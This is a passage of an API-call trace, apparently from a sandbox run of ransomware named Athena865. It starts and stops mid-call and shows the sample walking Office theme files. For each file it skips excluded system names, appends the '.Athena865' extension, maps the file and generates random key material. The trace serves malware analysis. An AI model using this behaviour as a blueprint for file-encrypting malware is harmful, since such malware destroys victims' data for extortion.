Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.948] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.948] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.948] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.949] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e0a30, lpName=0x0) returned 0x17c [0136.950] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e0a30) returned 0x2bb0000 [0137.060] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.061] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.061] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.061] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.061] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.061] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.061] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.061] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.062] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0137.079] CloseHandle (hObject=0x17c) returned 1 [0137.079] CloseHandle (hObject=0x154) returned 1 [0137.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.090] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x760ca200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x760ca200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4caa1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Elemental.eftx", cAlternateFileName="ELEMEN~1.EFT")) returned 1 [0137.090] lstrcmpiW (lpString1="Elemental.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.090] lstrcmpiW (lpString1="Elemental.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.090] lstrcmpiW (lpString1="Elemental.eftx", lpString2=".") returned 1 [0137.090] lstrcmpiW (lpString1="Elemental.eftx", lpString2="..") returned 1 [0137.090] lstrcmpiW (lpString1="Elemental.eftx", lpString2="windows") returned -1 [0137.090] lstrcmpiW (lpString1="Elemental.eftx", lpString2="bootmgr") returned 1 [0137.090] lstrcmpiW (lpString1="Elemental.eftx", lpString2="temp") returned -1 [0137.090] lstrcmpiW (lpString1="Elemental.eftx", lpString2="pagefile.sys") returned -1 [0137.090] lstrcmpiW (lpString1="Elemental.eftx", lpString2="boot") returned 1 [0137.090] lstrcmpiW (lpString1="Elemental.eftx", lpString2="ids.txt") returned -1 [0137.090] lstrcmpiW (lpString1="Elemental.eftx", lpString2="ntuser.dat") returned -1 [0137.090] lstrcmpiW (lpString1="Elemental.eftx", lpString2="perflogs") returned -1 [0137.090] lstrcmpiW (lpString1="Elemental.eftx", lpString2="MSBuild") returned -1 [0137.090] lstrlenW (lpString="Elemental.eftx") returned 14 [0137.091] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Elemental.eftx" | out: lpString1="Elemental.eftx") returned="Elemental.eftx" [0137.091] lstrlenW (lpString="Elemental.eftx") returned 14 [0137.091] lstrlenW (lpString="Athena865") returned 9 [0137.091] lstrcmpiW (lpString1="ntal.eftx", lpString2="Athena865") returned 1 [0137.091] lstrlenW (lpString=".dll") returned 4 [0137.091] lstrcmpiW (lpString1="Elemental.eftx", lpString2=".dll") returned 1 [0137.091] lstrlenW (lpString=".lnk") returned 4 [0137.091] lstrcmpiW (lpString1="Elemental.eftx", lpString2=".lnk") returned 1 [0137.091] lstrlenW (lpString=".ini") returned 4 [0137.091] lstrcmpiW (lpString1="Elemental.eftx", lpString2=".ini") returned 1 [0137.091] lstrlenW (lpString=".sys") returned 4 [0137.091] lstrcmpiW (lpString1="Elemental.eftx", lpString2=".sys") returned 1 [0137.091] lstrlenW (lpString="Elemental.eftx") returned 14 [0137.091] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.Athena865") returned 91 [0137.091] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx.athena865"), dwFlags=0x1) returned 1 [0137.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.094] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=314017) returned 1 [0137.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.094] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.095] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.095] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.096] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4cdb0, lpName=0x0) returned 0x17c [0137.097] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4cdb0) returned 0x2bb0000 [0137.107] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.108] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.108] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.108] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.108] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.108] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.108] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.108] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.109] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0137.112] CloseHandle (hObject=0x17c) returned 1 [0137.112] CloseHandle (hObject=0x154) returned 1 [0137.112] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.112] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.112] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.113] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd252a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd252a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6023, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Equity.eftx", cAlternateFileName="EQUITY~1.EFT")) returned 1 [0137.113] lstrcmpiW (lpString1="Equity.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.113] lstrcmpiW (lpString1="Equity.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.113] lstrcmpiW (lpString1="Equity.eftx", lpString2=".") returned 1 [0137.113] lstrcmpiW (lpString1="Equity.eftx", lpString2="..") returned 1 [0137.113] lstrcmpiW (lpString1="Equity.eftx", lpString2="windows") returned -1 [0137.113] lstrcmpiW (lpString1="Equity.eftx", lpString2="bootmgr") returned 1 [0137.113] lstrcmpiW (lpString1="Equity.eftx", lpString2="temp") returned -1 [0137.114] lstrcmpiW (lpString1="Equity.eftx", lpString2="pagefile.sys") returned -1 [0137.114] lstrcmpiW (lpString1="Equity.eftx", lpString2="boot") returned 1 [0137.114] lstrcmpiW (lpString1="Equity.eftx", lpString2="ids.txt") returned -1 [0137.114] lstrcmpiW (lpString1="Equity.eftx", lpString2="ntuser.dat") returned -1 [0137.114] lstrcmpiW (lpString1="Equity.eftx", lpString2="perflogs") returned -1 [0137.114] lstrcmpiW (lpString1="Equity.eftx", lpString2="MSBuild") returned -1 [0137.114] lstrlenW (lpString="Equity.eftx") returned 11 [0137.114] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Equity.eftx" | out: lpString1="Equity.eftx") returned="Equity.eftx" [0137.114] lstrlenW (lpString="Equity.eftx") returned 11 [0137.114] lstrlenW (lpString="Athena865") returned 9 [0137.114] lstrcmpiW (lpString1="uity.eftx", lpString2="Athena865") returned 1 [0137.114] lstrlenW (lpString=".dll") returned 4 [0137.114] lstrcmpiW (lpString1="Equity.eftx", lpString2=".dll") returned 1 [0137.114] lstrlenW (lpString=".lnk") returned 4 [0137.114] lstrcmpiW (lpString1="Equity.eftx", lpString2=".lnk") returned 1 [0137.114] lstrlenW (lpString=".ini") returned 4 [0137.114] lstrcmpiW (lpString1="Equity.eftx", lpString2=".ini") returned 1 [0137.114] lstrlenW (lpString=".sys") returned 4 [0137.114] lstrcmpiW (lpString1="Equity.eftx", lpString2=".sys") returned 1 [0137.114] lstrlenW (lpString="Equity.eftx") returned 11 [0137.114] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.Athena865") returned 88 [0137.114] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx.athena865"), dwFlags=0x1) returned 1 [0137.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.116] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24611) returned 1 [0137.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.117] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.118] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.118] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.118] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6330, lpName=0x0) returned 0x17c [0137.120] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6330) returned 0x100000 [0137.121] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.122] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.122] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.122] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.122] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.122] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.122] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.122] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.123] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.123] CloseHandle (hObject=0x17c) returned 1 [0137.123] CloseHandle (hObject=0x154) returned 1 [0137.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.123] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49f12100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x49f12100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x3fde, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Essential.eftx", cAlternateFileName="ESSENT~1.EFT")) returned 1 [0137.123] lstrcmpiW (lpString1="Essential.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.123] lstrcmpiW (lpString1="Essential.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.123] lstrcmpiW (lpString1="Essential.eftx", lpString2=".") returned 1 [0137.124] lstrcmpiW (lpString1="Essential.eftx", lpString2="..") returned 1 [0137.124] lstrcmpiW (lpString1="Essential.eftx", lpString2="windows") returned -1 [0137.124] lstrcmpiW (lpString1="Essential.eftx", lpString2="bootmgr") returned 1 [0137.124] lstrcmpiW (lpString1="Essential.eftx", lpString2="temp") returned -1 [0137.124] lstrcmpiW (lpString1="Essential.eftx", lpString2="pagefile.sys") returned -1 [0137.124] lstrcmpiW (lpString1="Essential.eftx", lpString2="boot") returned 1 [0137.124] lstrcmpiW (lpString1="Essential.eftx", lpString2="ids.txt") returned -1 [0137.124] lstrcmpiW (lpString1="Essential.eftx", lpString2="ntuser.dat") returned -1 [0137.124] lstrcmpiW (lpString1="Essential.eftx", lpString2="perflogs") returned -1 [0137.124] lstrcmpiW (lpString1="Essential.eftx", lpString2="MSBuild") returned -1 [0137.124] lstrlenW (lpString="Essential.eftx") returned 14 [0137.124] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Essential.eftx" | out: lpString1="Essential.eftx") returned="Essential.eftx" [0137.124] lstrlenW (lpString="Essential.eftx") returned 14 [0137.124] lstrlenW (lpString="Athena865") returned 9 [0137.124] lstrcmpiW (lpString1="tial.eftx", lpString2="Athena865") returned 1 [0137.124] lstrlenW (lpString=".dll") returned 4 [0137.124] lstrcmpiW (lpString1="Essential.eftx", lpString2=".dll") returned 1 [0137.124] lstrlenW (lpString=".lnk") returned 4 [0137.124] lstrcmpiW (lpString1="Essential.eftx", lpString2=".lnk") returned 1 [0137.124] lstrlenW (lpString=".ini") returned 4 [0137.124] lstrcmpiW (lpString1="Essential.eftx", lpString2=".ini") returned 1 [0137.124] lstrlenW (lpString=".sys") returned 4 [0137.124] lstrcmpiW (lpString1="Essential.eftx", lpString2=".sys") returned 1 [0137.124] lstrlenW (lpString="Essential.eftx") returned 14 [0137.124] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.Athena865") returned 91 [0137.125] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx.athena865"), dwFlags=0x1) returned 1 [0137.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.126] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16350) returned 1 [0137.126] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.126] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.126] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.126] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.127] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.127] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.127] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x42e0, lpName=0x0) returned 0x17c [0137.129] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x42e0) returned 0x100000 [0137.130] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.131] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.131] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.131] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.131] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.131] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.131] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.131] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.131] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.132] CloseHandle (hObject=0x17c) returned 1 [0137.132] CloseHandle (hObject=0x154) returned 1 [0137.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.132] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a02900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x79a02900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x52a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Executive.eftx", cAlternateFileName="EXECUT~1.EFT")) returned 1 [0137.132] lstrcmpiW (lpString1="Executive.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.132] lstrcmpiW (lpString1="Executive.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.132] lstrcmpiW (lpString1="Executive.eftx", lpString2=".") returned 1 [0137.132] lstrcmpiW (lpString1="Executive.eftx", lpString2="..") returned 1 [0137.132] lstrcmpiW (lpString1="Executive.eftx", lpString2="windows") returned -1 [0137.132] lstrcmpiW (lpString1="Executive.eftx", lpString2="bootmgr") returned 1 [0137.132] lstrcmpiW (lpString1="Executive.eftx", lpString2="temp") returned -1 [0137.132] lstrcmpiW (lpString1="Executive.eftx", lpString2="pagefile.sys") returned -1 [0137.132] lstrcmpiW (lpString1="Executive.eftx", lpString2="boot") returned 1 [0137.132] lstrcmpiW (lpString1="Executive.eftx", lpString2="ids.txt") returned -1 [0137.132] lstrcmpiW (lpString1="Executive.eftx", lpString2="ntuser.dat") returned -1 [0137.132] lstrcmpiW (lpString1="Executive.eftx", lpString2="perflogs") returned -1 [0137.133] lstrcmpiW (lpString1="Executive.eftx", lpString2="MSBuild") returned -1 [0137.133] lstrlenW (lpString="Executive.eftx") returned 14 [0137.133] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Executive.eftx" | out: lpString1="Executive.eftx") returned="Executive.eftx" [0137.133] lstrlenW (lpString="Executive.eftx") returned 14 [0137.133] lstrlenW (lpString="Athena865") returned 9 [0137.133] lstrcmpiW (lpString1="tive.eftx", lpString2="Athena865") returned 1 [0137.133] lstrlenW (lpString=".dll") returned 4 [0137.133] lstrcmpiW (lpString1="Executive.eftx", lpString2=".dll") returned 1 [0137.133] lstrlenW (lpString=".lnk") returned 4 [0137.133] lstrcmpiW (lpString1="Executive.eftx", lpString2=".lnk") returned 1 [0137.133] lstrlenW (lpString=".ini") returned 4 [0137.133] lstrcmpiW (lpString1="Executive.eftx", lpString2=".ini") returned 1 [0137.133] lstrlenW (lpString=".sys") returned 4 [0137.133] lstrcmpiW (lpString1="Executive.eftx", lpString2=".sys") returned 1 [0137.133] lstrlenW (lpString="Executive.eftx") returned 14 [0137.133] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.Athena865") returned 91 [0137.133] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx.athena865"), dwFlags=0x1) returned 1 [0137.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.135] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=21156) returned 1 [0137.135] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.135] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.135] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.135] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, 